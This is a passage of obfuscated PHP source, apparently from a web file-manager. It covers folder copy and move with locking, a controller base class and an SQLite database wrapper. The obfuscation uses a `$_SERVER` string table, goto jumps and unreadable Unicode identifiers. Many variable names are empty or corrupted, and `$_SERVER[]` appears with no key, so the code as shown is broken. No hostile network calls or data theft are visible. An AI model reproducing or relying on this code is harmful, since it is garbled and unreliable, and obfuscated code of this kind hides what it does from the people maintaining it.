remove($) { $ߖ = $this->findByName($); if (!$ߖ) { return !1; } return parent::remove($ߖ[$_SERVER[][475]]); } public function add($) { if ($this->findByName($[$_SERVER[][32]])) { return !1; } return parent::insert($); } public function update($쉻, $ʜ) { $ =& $_SERVER[]; $̏ = $this->findByName($쉻); $ = $this->findByName($ʜ[$[32]]); if (!$̏ || $ && $[$[475]] != $̏[$[475]]) { return !1; } return parent::update($̏[$[475]], $ʜ); } } goto c; Bȥ: class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[618], $); $쨝 = 1; $this->_lockEvent($, array($[619], $[620]), $쨝); $this->_lockParent($, array($[620]), $쨝); $this->_lockEvent($, array($[621], $[622]), $쨝); $this->_lockCheckEnd($[618], $); } public function lockCopyEnd($ͺ) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($ͺ, array($[619], $[620]), $); $this->_lockParent($ͺ, array($[620]), $); $this->_lockEvent($ͺ, array($[621], $[622]), $); } public function lockWriteStart($ྐྵߤ, $衡 = '') { $瓁 =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($瓁[619], $ྐྵߤ); $ѯ = 1; $this->_lockKey($瓁[623] . $ྐྵߤ . $瓁[10] . $衡, $ѯ); $this->_lockEvent($ྐྵߤ, array($瓁[618], $瓁[620]), $ѯ); $this->_lockParent($ྐྵߤ, array($瓁[618], $瓁[620]), $ѯ); $this->_lockCheckEnd($瓁[619], $ྐྵߤ); } public function lockWriteEnd($Ȩ, $Ù = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[623] . $Ȩ . $[10] . $Ù, $); $this->_lockEvent($Ȩ, array($[618], $[620]), $); $this->_lockParent($Ȩ, array($[618], $[620]), $); } public function lockMoveStart($š) { $Ί =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($Ί[620], $š); $ = 1; $this->_lockKey($Ί[624] . $š, $); $this->_lockEvent($š, array($Ί[618], $Ί[619]), $); $this->_lockParent($š, array($Ί[618], $Ί[620]), $); $this->_lockEvent($š, array($Ί[625], $Ί[621], $Ί[622]), $); $this->_lockCheckEnd($Ί[620], $š); } public function lockMoveEnd($) { $ځᆚ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ۡɦ = 0; $this->_lockKey($ځᆚ[624] . $, $ۡɦ); $this->_lockEvent($, array($ځᆚ[618], $ځᆚ[619]), $ۡɦ); $this->_lockParent($, array($ځᆚ[618], $ځᆚ[620]), $ۡɦ); $this->_lockEvent($, array($ځᆚ[625], $ځᆚ[621], $ځᆚ[622]), $ۡɦ); } private function _lockCheck($͘, $ځ) { $³ =& $_SERVER[]; $ = $this->sourceInfo($ځ); $ = $͘ . $³[10] . $ځ; $this->_lockTimeStart[$] = timeFloat(); if (!is_array($)) { return; } $͆ = LNG($³[626]); CacheLock::setErrorMsg($³[176] . htmlspecialchars($[$³[32]]) . $³[178] . $͆); $this->_lockKey($, 1); $this->_lockKey($, 0); $ = array_reverse($this->parentLevelArray($[$³[584]])); foreach ($ as $ڈ) { $ = $͘ . $³[627] . $ڈ; if (CacheLock::lockGet($³[628] . $)) { $ = $this->sourceInfo($ڈ); CacheLock::setErrorMsg($³[176] . htmlspecialchars($[$³[32]]) . $³[178] . $͆); $this->_lockKey($, 1); $this->_lockKey($, 0); } } } private function _lockCheckEnd($þ, $ݣ) { $ =& $_SERVER[]; $ = $þ . $[10] . $ݣ; CacheLock::setErrorMsg($[454]); if (!isset($this->_lockTimeStart[$])) { return; } $̨ = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($̨ > 0.5) { unset(self::$cacheSourceInfo[$[533] . $ݣ]); } $ٖ = $this->sourceInfo($ݣ); if (!$ٖ) { show_json(LNG($[108]), !1); } } private function _lockParent($ٿ, $, $) { if (!$this->autoLockSet) { return; } $ޜ = $this->sourceInfo($ٿ); if (!is_array($ޜ)) { return; } $ = array_reverse($this->parentLevelArray($ޜ[$_SERVER[][584]])); foreach ($ as $) { $this->_lockEvent($, $, $); } } private function _lockEvent($, $؎ۿ, $ׄ) { $ș =& $_SERVER[]; if (!$this->autoLockSet) { return; } foreach ($؎ۿ as $) { $ϖ = $ . $ș[10] . $; if ($ׄ && CacheLock::lockGet($ș[628] . $ϖ)) { continue; } $this->_lockKey($ϖ, $ׄ); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $ = 1) { $˹ = $_SERVER[][628] . md5($); if ($) { if (isset(self::$_lockItemArr[$˹])) { return; } self::$_lockItemArr[$˹] = 1; CacheLock::lock($˹, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$˹])) { return; } unset(self::$_lockItemArr[$˹]); CacheLock::unlock($˹); } } public function isParentOf($, $) { $ثť =& $_SERVER[]; $ߵ = $this->sourceInfo($); $ު = $this->sourceInfo($); $ = $ߵ[$ثť[584]] . $ߵ[$ثť[193]] . $ثť[50]; $巌 = $ު[$ثť[584]] . $ު[$ثť[193]] . $ثť[50]; $Ê = strpos($巌, $) === 0; return $Ê; } private $targetIsDelete = 0; public function copy($Ϸ, $㸀, $ = REPEAT_REPLACE, $ۦُݬ = '') { $ =& $_SERVER[]; $ء = $this->sourceInfo($Ϸ); $КÔ = $this->sourceInfo($㸀); if (!$ء || !$КÔ || $КÔ[$[485]] != $[91]) { return !1; } if ($this->isParentOf($Ϸ, $㸀)) { return !1; } $ݻ = $ۦُݬ ? $ۦُݬ : $ء[$[32]]; $this->lockCopyStart($Ϸ); $this->lockWriteStart($㸀, $ݻ); $ޖ = array($[629] => array(), $[630] => array(), $[631] => array()); $this->targetIsDelete = intval($ء[$[505]]); $ = $this->fileNameExistAuto($㸀, $ء); $ = $this->_copy($Ϸ, $㸀, $, $ޖ, !0, $ۦُݬ); $this->_childrenListClear(); $this->lockCopyEnd($Ϸ); $this->lockWriteEnd($㸀, $ݻ); if ($ء[$[485]] == $[91] && $ == $) { $this->folderSizeResetChildren($); } Model($[632])->addAll($ޖ[$[630]], array(), !0); if ($ != $ || $ء[$[485]] == $[91]) { Model($[633])->eventCopy($); } $this->saveAll($ޖ[$[631]]); Model($[230])->linkAdd($ޖ[$[629]]); $this->folderSizeReset($㸀); $this->updateModifyTime($㸀); return $; } private function _copy($ף, $Ϳޕ, $􉟫, &$, $լ, $ؓ = '') { $덢 =& $_SERVER[]; $ = $this->sourceInfoCache($ף); $Ò = $[$덢[485]] == $덢[91]; $ϫ = $ؓ ? $ؓ : $[$덢[32]]; $ᆧŔ = $this->fileNameExistAuto($Ϳޕ, $); if ($լ) { $this->_childrenAllMake($ף); if ($Ò && $ᆧŔ) { $this->_childrenAllMake($ᆧŔ); } } if (!$ᆧŔ) { return $this->_copyCreate($ף, $Ϳޕ, $ϫ, $); } $ǔ = $ᆧŔ; if ($Ò) { if ($􉟫 == REPEAT_RENAME_FOLDER) { $ϫ = $this->fileNameAutoCache($Ϳޕ, $ϫ, $􉟫, $Ò); $ǔ = $this->_copyCreate($ף, $Ϳޕ, $ϫ, $); } else { $ = $this->_childrenList($ף); foreach ($ as $ɗ) { $this->_copy($ɗ[$덢[193]], $ᆧŔ, $􉟫, $, !1); } } } else { if ($􉟫 == REPEAT_RENAME || $􉟫 == REPEAT_RENAME_FOLDER) { $ϫ = $this->fileNameAutoCache($Ϳޕ, $ϫ, $􉟫, $Ò); $ǔ = $this->_copyCreate($ף, $Ϳޕ, $ϫ, $); } else { if ($􉟫 == REPEAT_REPLACE) { $ = $this->sourceInfoCache($ᆧŔ); $ = $this->fileHistory($, $[$덢[541]], $[$덢[79]]); if ($) { $[$덢[629]][] = $[$덢[541]]; } } else { if ($􉟫 == REPEAT_SKIP) { } } } Hook::trigger($덢[634], array($덢[635], $, 0)); } return $ǔ; } private function _copyCreate($؏, $Ƽ, $֏, &$) { $瓉 =& $_SERVER[]; $ = $this->sourceInfoCache($؏); $˜ = $this->sourceInfoCache($Ƽ); $ = $this->_makeItemData($, $˜, $֏); Hook::trigger($瓉[636], $); Hook::trigger($瓉[637], array($瓉[638], $, 0)); $ = $this->add($); $Ȗ޸ = array($瓉[193] => $, $瓉[32] => $֏); $this->_copyApplyMeta($Ȗ޸, $); if ($[$瓉[485]] != $瓉[91]) { $[$瓉[629]][] = $[$瓉[541]]; return $; } $ = array(); $͛ = array(); $this->_childrenListAll($؏, $); $ = count($); if ($ == 0) { return $; } $贶 = $this->sourceInfo($); foreach ($ as $) { $檺 = $this->_makeItemData($, $贶, $[$瓉[32]]); $檺[$瓉[584]] = $[$瓉[584]]; $͛[] = $檺; } $this->chunkEventSet($瓉[639], array($瓉[640], $, $)); $this->addAll($͛, array(), !1); $ߕ̍ = $this->where(array($瓉[192] => $))->select(); $ْ = $this->_childrenMakeRelation($, $ߕ̍); $ْ[$؏] = $; $ = array(); $ = array(); foreach ($ߕ̍ as $) { $ = $[$瓉[193]]; $ = $this->_childrenMatch($ْ, $, $贶); $[] = array($瓉[193], $, $瓉[192], $[$瓉[192]]); $[] = array($瓉[193], $, $瓉[584], $[$瓉[584]]); $this->_copyApplyMeta($, $); if ($[$瓉[485]] != $瓉[91]) { $[$瓉[629]][] = $[$瓉[541]]; } } $this->chunkEventSet($瓉[641], array($瓉[642], $, $)); $this->saveAll($); $this->chunkEventSet($瓉[643], array($瓉[644], $, $)); $this->saveAll($); return $; } private function _childrenMakeRelation($؋˫, $) { $׬ =& $_SERVER[]; $ = array(); $ = array(); foreach ($؋˫ as $) { $ = $[$׬[32]] . $׬[8] . $[$׬[584]]; $[$] = $[$׬[193]]; } foreach ($ as $) { $ = $[$׬[32]] . $׬[8] . $[$׬[584]]; $ט = $[$]; $[$ט] = $[$׬[193]]; } return $; } private function _childrenMatch($, $㶘, $ݷ) { $𒆢 =& $_SERVER[]; $ = $ݷ[$𒆢[584]]; $ʨ = $this->parentLevelArray($㶘[$𒆢[584]]); foreach ($ʨ as $į) { if (isset($[$į])) { $ .= $[$į] . $𒆢[645]; } } $ = rtrim($, $𒆢[50]) . $𒆢[50]; $ = $this->parentLevelArray($); $ = $[count($) - 1]; return array($𒆢[192] => $, $𒆢[584] => $); } private function _makeItemData($ߜ芔, $٣, $̭) { $庅 =& $_SERVER[]; $ƭ = array($庅[646] => $ߜ芔[$庅[485]], $庅[494] => $̭, $庅[647] => $ߜ芔[$庅[486]] ? $ߜ芔[$庅[486]] : $庅[12], $庅[542] => $ߜ芔[$庅[541]] ? $ߜ芔[$庅[541]] : 0, $庅[617] => $ߜ芔[$庅[79]] ? $ߜ芔[$庅[79]] : 0, $庅[648] => intval($٣[$庅[190]]), $庅[649] => intval($٣[$庅[569]]), $庅[650] => intval(USER_ID), $庅[651] => intval(USER_ID), $庅[477] => intval($٣[$庅[193]]), $庅[652] => $٣[$庅[584]] . $٣[$庅[193]] . $庅[50], $庅[498] => $ߜ芔[$庅[88]] ? $ߜ芔[$庅[88]] : time(), $庅[504] => 0, $庅[653] => $庅[12]); return $ƭ; } private function _copyApplyMeta($ӕ, &$) { $ˏ =& $_SERVER[]; $趎 = $ӕ[$ˏ[193]]; $Ͽ = $ӕ[$ˏ[32]]; if (!isset($ӕ[$ˏ[654]]) || !$ӕ[$ˏ[654]] || $ӕ[$ˏ[654]] == $ˏ[228]) { $[$ˏ[631]][] = array($ˏ[193], $趎, $ˏ[654], short_id($趎)); } if (Input::check($Ͽ, $ˏ[655])) { $[$ˏ[630]][] = array($ˏ[193] => $趎, $ˏ[97] => $ˏ[538], $ˏ[450] => str_replace($ˏ[53], $ˏ[12], Pinyin::get($Ͽ))); $[$ˏ[630]][] = array($ˏ[193] => $趎, $ˏ[97] => $ˏ[537], $ˏ[450] => Pinyin::get($Ͽ, $ˏ[656])); } $[$ˏ[630]][] = array($ˏ[193] => $趎, $ˏ[97] => $ˏ[517], $ˏ[450] => KodSort::makeStr($Ͽ)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($ൎ) { $¸ =& $_SERVER[]; $ݺ = $this->sourceInfo($ൎ); $ = $¸[657]; $ۀɱ = array($¸[584] => array($¸[612], $ݺ[$¸[584]] . $ൎ . $¸[613]), $¸[505] => $this->targetIsDelete); $ܜݔ = $this->field($)->where($ۀɱ)->select(); if (!$ܜݔ) { return; } $ܜݔ = array_to_keyvalue($ܜݔ, $¸[193]); foreach ($ܜݔ as $È) { $ͳ = $È[$¸[192]]; $ൎ = $È[$¸[193]]; if (!isset($this->_childrenListCache[$ൎ]) && $È[$¸[485]] == $¸[91]) { $this->_childrenListCache[$ൎ] = array(); } if (!isset($this->_childrenListCache[$ͳ])) { $this->_childrenListCache[$ͳ] = array(); } $this->_childrenListCache[$ͳ][$ൎ] = $È; $this->_childrenItemCache[$ൎ] = $È; } } private function _childrenListAll($̧, &$Ɋ) { $윢 =& $_SERVER[]; if (!isset($this->_childrenListCache[$̧])) { return; } $淋 = $this->_childrenListCache[$̧]; foreach ($淋 as $ԕ => $) { $Ɋ[$ԕ] = $; if ($[$윢[485]] == $윢[91]) { $this->_childrenListAll($ԕ, $Ɋ); } } } private function sourceInfoCache($Ƈ) { if (isset($this->_childrenItemCache[$Ƈ])) { return $this->_childrenItemCache[$Ƈ]; } return $this->sourceInfo($Ƈ); } private function _childrenList($þ) { if (isset($this->_childrenListCache[$þ])) { return $this->_childrenListCache[$þ]; } return $this->_childrenListSelect($þ); } private function _childrenListSelect($) { $ =& $_SERVER[]; $ = array($[192] => $, $[505] => $this->targetIsDelete); $ = $this->where($)->select(); $ = $ ? $ : array(); $胘 = array_to_keyvalue($, $[193]); $this->_childrenListCache[$] = $胘; foreach ($胘 as $ => $Б) { $this->_childrenItemCache[$] = $Б; } return $胘; } private function fileNameExistAuto($ɾ, $ڸ) { $ۄ =& $_SERVER[]; if ($ڸ[$ۄ[505]] == $ۄ[91]) { return $this->fileNameExist($ɾ, $ڸ[$ۄ[32]]); } return $this->fileNameExistCache($ɾ, $ڸ[$ۄ[32]]); } private function fileNameExistCache($, $) { $ =& $_SERVER[]; $ = strtolower($); $ = $this->_childrenList($); foreach ($ as $د) { if ($ == strtolower($د[$[32]])) { return $د[$[193]]; } } return !1; } private function fileNameAutoCache($Ӌ, $и, $֘, $) { $⺉ =& $_SERVER[]; $ = $this->_childrenList($Ӌ); $ = array_to_keyvalue($, $⺉[12], $⺉[32]); return $this->fileNameAutoGet($, $и, $֘, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($ڊޗ, $Ɛܫ, $ = REPEAT_REPLACE, $ = '') { $ٚ =& $_SERVER[]; $ = $this->sourceInfo($ڊޗ); $ր = $this->sourceInfo($Ɛܫ); if ($[$ٚ[192]] == $ր[$ٚ[193]]) { if ($[$ٚ[505]] == $ٚ[91]) { Model($ٚ[503])->restore(array($ڊޗ)); } if (!$ || $ == $[$ٚ[32]]) { return $ڊޗ; } } $̼ = $this->pathInfoMore($ڊޗ); if ($this->isParentOf($ڊޗ, $Ɛܫ)) { return !1; } if (!$ || !$ր || $ր[$ٚ[485]] != $ٚ[91]) { return !1; } Hook::trigger($ٚ[658], $̼); $this->targetIsDelete = intval($[$ٚ[505]]); if ($[$ٚ[192]] == $Ɛܫ && $ != $[$ٚ[32]]) { $҂ = $this->fileNameExist($Ɛܫ, $); if ($҂ && $[$ٚ[485]] == $ٚ[228]) { $Ր = $this->sourceInfo($҂); $ƀ = $this->fileHistory($Ր, $[$ٚ[541]], $[$ٚ[79]]); if (!$ƀ) { Model($ٚ[544])->remove($[$ٚ[541]]); } $this->removeNow($ڊޗ, !1); $this->folderSizeReset($Ɛܫ); Hook::trigger($ٚ[659], $̼); return $҂; } } $՚Ў = $ ? $ : $[$ٚ[32]]; $this->lockMoveStart($ڊޗ); $this->lockWriteStart($Ɛܫ, $՚Ў); $񺓬 = array($ٚ[629] => array(), $ٚ[660] => !1); $this->clearShare($ڊޗ, $Ɛܫ); $ = $this->fileNameExistAuto($Ɛܫ, $); $ϝ = $this->_move($ڊޗ, $Ɛܫ, $, $񺓬, $); $this->sourceCacheClear(); if ($[$ٚ[485]] == $ٚ[91] && $) { $this->folderSizeResetChildren($ϝ); } Model($ٚ[230])->linkAdd($񺓬[$ٚ[629]]); if ($ && $񺓬[$ٚ[660]]) { $this->removeNow($ڊޗ, !1); } $this->lockMoveEnd($ڊޗ); $this->lockWriteEnd($Ɛܫ, $՚Ў); $this->folderSizeReset($[$ٚ[192]]); $this->folderSizeReset($Ɛܫ); $ = array($[$ٚ[192]], $Ɛܫ); if ($[$ٚ[485]] == $ٚ[91]) { $[] = $ڊޗ; } $this->updateModifyTime($); Model($ٚ[633])->eventMove($ڊޗ, $[$ٚ[192]], $Ɛܫ); Hook::trigger($ٚ[659], $̼); return $ϝ; } private function _move($, $, $ϑ, &$Ƴۋ, $ = '') { $Ĵ =& $_SERVER[]; $̟ = $this->sourceInfo($); $ϐ = $̟[$Ĵ[485]] == $Ĵ[91]; $ꥹ = $ ? $ : $̟[$Ĵ[32]]; $ = $this->fileNameExistAuto($, $̟); $this->lockMoveStart($); $this->lockWriteStart($, $ꥹ); if (!$) { return $this->_moveForce($, $, $ꥹ); } $㔴۲ = $; $ِ㯌 = !1; if ($ϐ) { if ($ϑ == REPEAT_RENAME_FOLDER) { $ꥹ = $this->fileNameAuto($, $ꥹ, $ϑ, $ϐ); $㔴۲ = $this->_moveForce($, $, $ꥹ); } else { if ($ϑ == REPEAT_RENAME_FOLDER) { $ϑ = REPEAT_RENAME; } $ = $this->_childrenListSelect($); foreach ($ as $ٰ) { $this->_move($ٰ[$Ĵ[193]], $, $ϑ, $Ƴۋ); } $ِ㯌 = !0; } } else { if ($ϑ == REPEAT_SKIP) { $ِ㯌 = !0; } else { if ($ϑ == REPEAT_RENAME || $ϑ == REPEAT_RENAME_FOLDER) { $ꥹ = $this->fileNameAuto($, $ꥹ, $ϑ, $ϐ); $㔴۲ = $this->_moveForce($, $, $ꥹ); } else { if ($ϑ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $̦ = $this->fileHistory($, $̟[$Ĵ[541]], $̟[$Ĵ[79]]); $ِ㯌 = !0; if ($̦) { $Ƴۋ[$Ĵ[629]][] = $̟[$Ĵ[541]]; } } } } } if ($ِ㯌 && !$Ƴۋ[$Ĵ[660]]) { $Ƴۋ[$Ĵ[660]] = !0; } return $㔴۲; } private function _moveForce($έ, $, $) { $â =& $_SERVER[]; $ = $this->sourceInfo($έ); $껿 = $this->sourceInfo($); $ = $[$â[485]] == $â[91]; $ҹ = array($â[477] => $껿[$â[193]], $â[652] => $껿[$â[584]] . $껿[$â[193]] . $â[50], $â[648] => $껿[$â[190]], $â[649] => $껿[$â[569]], $â[651] => USER_ID, $â[494] => $); $ɑ = $[$â[190]] == SourceModel::TYPE_GROUP && $껿[$â[190]] == SourceModel::TYPE_GROUP && $[$â[569]] == $껿[$â[569]]; if (!$ɑ && $this->moveClearAuth) { Model($â[567])->authClear($έ); } $ٽ = $[$â[505]] == $â[91] && $껿[$â[505]] != $â[91]; if ($ٽ) { $ҹ[$â[504]] = 0; } if ($) { $ɾ = array($â[652] => array($â[612], $[$â[584]] . $[$â[193]] . $â[613])); $ە = $[$â[584]] . $[$â[193]] . $â[50]; $睲 = $껿[$â[584]] . $껿[$â[193]] . $â[50] . $[$â[193]] . $â[50]; $Ɋ = array($â[652] => array($â[661], "\162\145\160\154\x61\x63\x65\x28\160\x61\x72\145\x6e\x74\114\145\x76\x65\154\54\47{$ە}\47\x2c\x27{$睲}\47\51"), $â[648] => $껿[$â[190]], $â[649] => $껿[$â[569]]); if ($ٽ) { $Ɋ[$â[504]] = 0; } $this->where($ɾ)->data($Ɋ)->save(); } $this->where(array($â[491] => $έ))->data($ҹ)->save(); return $έ; } private function clearShare($ũ, $) { $ =& $_SERVER[]; $ٿ = $this->sourceInfo($ũ); $ = $this->sourceInfo($); if ($ٿ[$[569]] == $[$[569]] && $ٿ[$[190]] == $[662]) { return; } $ = array($[584] => array($[612], $ٿ[$[584]] . $ũ . $[613])); $瞸 = $this->field($[491])->where($)->getField($[193], !0); if (!$瞸) { return; } $ = array($[193] => array($[7], $瞸), $[663] => 1); $ = Model($[664])->field($[665])->where($)->select(); if (!$) { return; } $ = array_to_keyvalue($, $[12], $[665]); $ = array($[665] => array($[7], $)); Model($[664])->where($)->save(array($[663] => 0)); Model($[666])->where($)->delete(); } public function copyFolderFromIO($, $, $, $섥, $, $ = false) { $♽ =& $_SERVER[]; $Ԉ = array($♽[630] => array(), $♽[631] => array(), $♽[629] => array(), $♽[667] => array()); $ȥ = $ ? $ : $->pathThis($); $ɹ = $this->fileNameExist($, $ȥ); $ߘ = $this->mkdir($, $ȥ, $섥); if (!$ɹ || $섥 == REPEAT_RENAME_FOLDER) { $섥 = !1; } if ($ɹ) { $this->_childrenAllMake($ɹ); } Hook::trigger($♽[668]); $this->_copyChildTo($, $, $ߘ, $섥, $Ԉ, $); Hook::trigger($♽[669]); if ($ߘ) { $this->folderSizeResetChildren($ߘ); } $this->_childrenListClear(); Model($♽[632])->addAll($Ԉ[$♽[630]], array(), !0); Model($♽[633])->eventCopy($ߘ); $this->saveAll($Ԉ[$♽[631]]); Model($♽[544])->linkAdd($Ԉ[$♽[629]]); Model($♽[544])->remove($Ԉ[$♽[667]]); $this->folderSizeReset($); $this->updateModifyTime($); return $ߘ; } private function _copyChildTo($΅, $ϯȔ, $İ, $, &$̘, $) { $ =& $_SERVER[]; $ = $this->sourceInfoCache($İ); $ = $΅->listPath($ϯȔ); $ = $ ? $ : array($[86] => array(), $[85] => array()); $֨ = array_merge($[$[86]], $[$[85]]); $ = $this->_addFiles($΅, $[$[86]], $); $˼þ = array(); foreach ($֨ as &$̕) { if (isset($[$̕[$[32]]])) { $̕ = $[$̕[$[32]]]; } $̕[$[485]] = $̕[$[33]] == $[78]; $̕[$[486]] = substr(_get($̕, $[169], $[12]), 0, 10); $̕[$[79]] = _get($̕, $[79], 0); $̕[$[541]] = _get($̕, $[541], 0); if (!isset($̕[$[670]]) && $̕[$[541]]) { $̘[$[667]][] = $̕[$[541]]; } if ($) { $ = $this->fileNameExistCache($İ, $̕[$[32]]); if ($) { if ($̕[$[485]] || $ == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $˖ܜ = $this->sourceInfoCache($); $נ = $this->fileHistory($˖ܜ, $̕[$[541]], $̕[$[79]]); if ($נ) { $̘[$[629]][] = $̕[$[541]]; } continue; } else { if ($ == REPEAT_RENAME) { $̕[$[32]] = $this->fileNameAutoCache($İ, $̕[$[32]], $, !1); } } } } if (!$̕[$[485]] && $̕[$[541]] == 0) { continue; } if (!$̕[$[485]] && $̕[$[541]]) { $̘[$[629]][] = $̕[$[541]]; } $˼þ[] = $this->_makeItemData($̕, $, $̕[$[32]]); } unset($̕); if (!empty($˼þ)) { $this->addAll($˼þ); $this->_childrenListSelect($İ); } $ = $this->_childrenList($İ); $ = array_to_keyvalue($, $[32]); foreach ($֨ as $̕) { $˖ܜ = $[$̕[$[32]]]; $鼅 = $˖ܜ[$[193]]; $this->_copyApplyMeta($˖ܜ, $̘); if ($̕[$[33]] == $[78]) { $̕[$[87]] = $΅->getPathInner($̕[$[87]]); $this->_copyChildTo($΅, $̕[$[87]], $鼅, $, $̘, $); } } } private function _addFiles($, $, $֊) { $Ϝ =& $_SERVER[]; if (!$ || count($) == 0) { return array(); } $ԕѮ = array(); foreach ($ as &$ޓ) { Hook::trigger($Ϝ[671], $ޓ); $ޓ[$Ϝ[87]] = $->getPathInner($ޓ[$Ϝ[87]]); $۴ = $->hashSimple($ޓ[$Ϝ[87]]); $ = $->hashMd5($ޓ[$Ϝ[87]]); if (strlen($) > 10 && !isset($ԕѮ[$])) { $ԕѮ[$] = array(); } $ޓ[$Ϝ[672]] = $۴; $ޓ[$Ϝ[547]] = $; $ԕѮ[$][] =& $ޓ; if (count($ԕѮ[$]) > 1) { $ޓ[$Ϝ[670]] = !0; } Hook::trigger($Ϝ[673], $ޓ); } unset($ޓ); $ʱ = array($Ϝ[547] => array($Ϝ[7], array_keys($ԕѮ))); $߭ = Model($Ϝ[674]); $ = $߭->where($ʱ)->select(); $ = $ ? $ : array(); foreach ($ as $ׄټ) { if (!isset($ԕѮ[$ׄټ[$Ϝ[547]]])) { continue; } $ = $ԕѮ[$ׄټ[$Ϝ[547]]]; foreach ($ as &$ޓ) { $ޓ[$Ϝ[541]] = $ׄټ[$Ϝ[541]]; $ޓ[$Ϝ[670]] = !0; } unset($ޓ); } $ = array(); foreach ($ as $ъ˅) { Hook::trigger($Ϝ[675], $ъ˅); if (isset($ъ˅[$Ϝ[670]]) && $ъ˅[$Ϝ[670]]) { Hook::trigger($Ϝ[676], $ъ˅); continue; } $ = $->getPathInner($ъ˅[$Ϝ[87]]); $娒 = $߭->addFileMake($, $ъ˅[$Ϝ[79]], $ъ˅[$Ϝ[672]], $ъ˅[$Ϝ[547]], $ъ˅[$Ϝ[32]], $֊); Hook::trigger($Ϝ[676], $ъ˅); if (!is_array($娒)) { continue; } $[] = $娒; } $߭->addAll($); $ʱ = array($Ϝ[547] => array($Ϝ[7], array_keys($ԕѮ))); $ = $߭->where($ʱ)->select(); $ = $ ? $ : array(); foreach ($ as $ׄټ) { if (!isset($ԕѮ[$ׄټ[$Ϝ[547]]])) { continue; } $ܠ =& $ԕѮ[$ׄټ[$Ϝ[547]]]; foreach ($ܠ as &$ޓ) { $ޓ[$Ϝ[541]] = $ׄټ[$Ϝ[541]]; } unset($ޓ); } $ۧ = array(); foreach ($ as $) { $ۧ[$[$Ϝ[32]]] = $; } return $ۧ; } } define($_SERVER[][677], $_SERVER[][678]); $tukerlwafc = $_SERVER[][679]; goto d븖; Fμ: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $ =& $_SERVER[]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$[6]] =& $config; $this->values[$[7]] =& $in; $this->tpl = TEMPLATE . MOD . $[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($ڥٟ) { if (1 === func_num_args()) { $this->{$ڥٟ} = new $ڥٟ(); } else { $ܦ = new ReflectionClass($ڥٟ); $ = func_get_args(); array_shift($); $this->{$ڥٟ} = $ܦ->newInstanceArgs($); } return $this->{$ڥٟ}; } public function routeBind($, $, $ = 3) { $ =& $_SERVER[]; $љ = $this->in[$[9]]; $ = str_replace($[10], $[11], trim(trim($, $[8]), $[12])); if (!$ || count($љ) <= $) { return !1; } $ = !0; $ = explode($[8], $); for ($Җ = 0; $Җ < count($); $Җ++) { if ($[$Җ] != $љ[$ + $Җ]) { $ = !1; break; } } if (!$) { return; } call_user_func_array(array($this, $), array()); } public function routeArgs($ = 3) { $՗ = $this->in[$_SERVER[][9]]; if (count($՗) <= $) { return array(); } $ = array(); for ($ = $; $ < count($՗); $ += 2) { $[$՗[$]] = $՗[$ + 1]; $this->in[$՗[$]] = $՗[$ + 1]; } return $; } protected function assign($É, $Χ) { $this->values[$É] = $Χ; } protected function display($ٽ) { ob_end_clean(); extract($this->values); require $this->tpl . $ٽ; } } class DbSqliteBase extends Db { public function __construct($Ր = '') { $΃ϭ =& $_SERVER[]; if (!extension_loaded($΃ϭ[13])) { think_exception(think_lang($΃ϭ[14]) . $΃ϭ[15]); } if (!empty($Ր)) { if (!isset($Ր[$΃ϭ[16]])) { $Ր[$΃ϭ[16]] = 438; } $this->config = $Ր; if (empty($this->config[$΃ϭ[17]])) { $this->config[$΃ϭ[17]] = array(); } } } public function connect($ꠄδ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($ꠄδ)) { $ꠄδ = $this->config; } $ѹ = !empty($ꠄδ[$[17]][$[18]]) ? $ꠄδ[$[17]][$[18]] : $this->pconnect; $힇 = $ѹ ? $[19] : $[20]; $this->linkID[$] = $힇($ꠄδ[$[21]], $ꠄδ[$[16]]); if (!$this->linkID[$]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$], 30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($վ) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $վ; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = sqlite_query($this->_linkID, $վ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ݴ = $this->getAll(); return $ݴ; } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $Ǒ = sqlite_exec($this->_linkID, $); $this->debug(); if (!1 === $Ǒ) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $Ҷ = sqlite_query($this->_linkID, $_SERVER[][27]); if (!$Ҷ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ʬ = sqlite_query($this->_linkID, $_SERVER[][28]); if (!$ʬ) { $this->error(); return !1; } $this->transTimes = 